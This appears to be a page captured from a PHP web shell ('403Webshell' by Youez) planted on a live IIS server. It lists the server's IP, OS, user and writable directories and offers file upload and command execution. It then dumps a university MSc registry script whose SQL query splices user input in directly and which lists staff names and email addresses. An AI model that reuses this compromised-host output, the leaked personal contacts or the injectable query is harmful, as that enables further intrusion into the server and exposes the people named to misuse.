403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/icd/msc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/icd/msc/check_regid.php
<?php
    global $fields;
	
	$curStudent = null;
	
	include_once 'lib/lib.php';
		
	$mCtrl = new Controller("check_regid", "@[PAGE_TITLE]");
	//$mCtrl->addToHead("");
	
	include_once 'sources/registry_fields.php';

	//var_dump($_POST);
	$buttonPressed = key_exists("butSubmit", $_POST);
	$regemail = Utils::vRequest("regemail", FALSE, "");

	$showError = FALSE;

	if ($buttonPressed){
		//$fields->getValues();
		//$fields->checkValidity();
		if (strlen($regemail) == 0){
			$showError = true;	
			$errMsg = $mCtrl->str("EMPTY_EMAIL");
		}elseif (!Utils::isEmailValid($regemail)){
			$showError = true;	
			$errMsg = $mCtrl->str("INVALID_EMAIL");			
		}
		
			
		//$fields->saveToSession("login");		
	}			
	
	
	if ($showError){
		$mCtrl->setFlashWarning($errMsg);
	}
	
	$checkResult = "";
	if ($buttonPressed && !$showError){
		$query = "SELECT * FROM `msc_Registry` WHERE `Email` = '{$regemail}'";
		$curStudent = DBUtils::getObject($query);
		
		if ($curStudent != null){
			$msg = $mCtrl->str("STUDENT_FOUND");
			$mCtrl->setFlashMessage($msg);
			
			$emailSender = "ICD MSc Webmaster <tolis@agvm.org>";
			$emailRecipientAddress = $regemail;
			$emailRecipient = $curStudent->Surname . " " . $curStudent->Forname . " <" . $emailRecipientAddress . ">";
			$emailNotifications = array("Apostolos Georgiadis <tolisg@teiser.gr>", "Anastasios Papatsoris <profadp@gmail.com>", "Hristos Anastassiu <hristosa@teiser.gr>", "Evi <evi@teiser.gr>");
			//$emailNotifications = array("Apostolos Georgiadis <tolisg@teiser.gr>");
			
			$emailSubject = $mCtrl->str("EMAIL_SUBJECT");
			$emailBody = $mCtrl->str("EMAIL_BODY");
			$emailBody = str_replace(array("@{RegistrationID}", "@{Email}", "@{Surname}", "@{Forname}"), array($curStudent->Id, $emailRecipientAddress, $curStudent->Surname, $curStudent->Forname), $emailBody);
			 
			//var_dump($emailSubject);
			//var_dump($emailBody);
			$emailRes = Utils::UTF8_mail($emailSender, $emailRecipient, $emailSubject, $emailBody, NULL, $emailNotifications);
			
		}else{
			$showError = TRUE;
			$errMsg = $mCtrl->str("STUDENT_NOT_FOUND");
			$mCtrl->setFlashWarning($errMsg);			
		}
		//$loginOK = $mCtrl->Login($fields->tableName, "username", "password", $fields->fieldsHash["Username"]->Value, $fields->fieldsHash["Password"]->Value);				
		/*
		if ($loginOK){
			
		}else{
			$showError = TRUE;
			$errMsg = $mCtrl->str("ERROR_WRONGUSERNAMEORPASSWORD");
			$mCtrl->setFlashWarning($errMsg);
		}
		 */		
	}
		
	
	$mCtrl->printHeaders();
	$mCtrl->clearFlashWarning();
	
	//Utils::prline("isLoggedIn=" . $mCtrl->isLoggedIn() . "<br>");
	//Utils::prline("isAdmin=" . $mCtrl->isAdmin() . "<br>");

	if ($curStudent != null){
		$mCtrl->includeSource("check_regid_report");		
	}else{
		$mCtrl->includeSource();
	}

			//var_dump($emailSubject);
			//var_dump($emailBody);
?>

<?php
	$mCtrl->Close();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit